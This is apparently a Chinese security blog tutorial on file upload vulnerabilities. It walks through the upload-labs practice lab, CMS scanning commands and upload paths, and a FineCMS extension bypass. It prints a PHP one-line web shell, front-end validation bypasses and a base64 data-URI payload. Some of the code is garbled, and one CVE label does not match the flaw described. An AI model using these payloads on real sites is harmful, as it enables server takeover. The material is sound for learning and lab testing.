文件上传之基础过滤方式

利用思路来源以下方向:

  1. 什么是文件上传漏洞

有文件上传就可以测试是否有漏洞,关键看代码是否完备。

比如上网搜索相关的上传路径:inurl:upload.php

  1. 漏洞危害

自定义网站后门,获取网站权限,属于高危漏洞。

  1. 如何查找判断

黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

白盒查找:通过源代码分析文件上传漏洞。

判断:通过抓包分析

网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/)

下载地址是:https://github.com/c0ny1/upload-labshttps://github.com/c0ny1/upload-labs

然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能

---上传头像、图片、会员中心、上传视频

  1. 注意事项以及应用说明

文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

本地文件上传漏洞靶场环境搭建测试

  1. 第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST'cmd');?>,也可以直接PHP信息检测<?php phpinfo()?>)

3.查看上传的结果:上传1.php然后

提示:文件类型不正确,请重新上传!

4.查看本地前端源代码

复制代码
//定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";

这个代码很简单就可以绕过:

1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传

2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果

但是这里也有一个误区:

不是所有的情况都可以抓包,抓不了包的情况是:

  • ✅ 数据在浏览器内循环

  • ❌ 没有产生HTTP请求

  • ❌ 没有网络流量

  • ❌ BurpSuite无包可抓

尝试第一种方法上传文件:

复制代码
document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:

php->png就行了

CMS 及 CVE 编号文件上传漏洞测试

CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。

1. 信息收集阶段

识别CMS类
复制代码
# 使用工具识别CMS
whatweb http://target.com(kali)
复制代码
wpscan --url http://target.com  # WordPress
joomscan -u http://target.com   # Joomla
droopescan scan drupal -u http://target.com  # Drupal

2. 常见CMS上传漏洞点

WordPress
复制代码
# 常见上传路径
/wp-admin/media-new.php
/wp-admin/async-upload.php
/wp-content/uploads/
/wp-admin/plugin-install.php
Joomla
复制代码
/components/com_media/
/images/
/templates/
Drupal
复制代码
/admin/content/media
/user/[uid]/edit  # 头像上传

比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):

preg_match('/^(data:\s*image\/(\w+);base64,)/', file, result);

if ($result) {

ext = result2; // 获取图片类型作为扩展名

filename = time().'.'.ext;

// 保存文件...

}

发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==

这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据

Weblogic简介(相当于Java开发的第三方应用)

---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))

相关推荐
云水一下4 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
龙亘川4 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19914 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens5 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼5 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电5 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH5 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车
Mikko75 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json
赛博守夜人5 天前
反舞弊系列之十四:商业地产与零售招商中的“转租差价与免租期寻租”
安全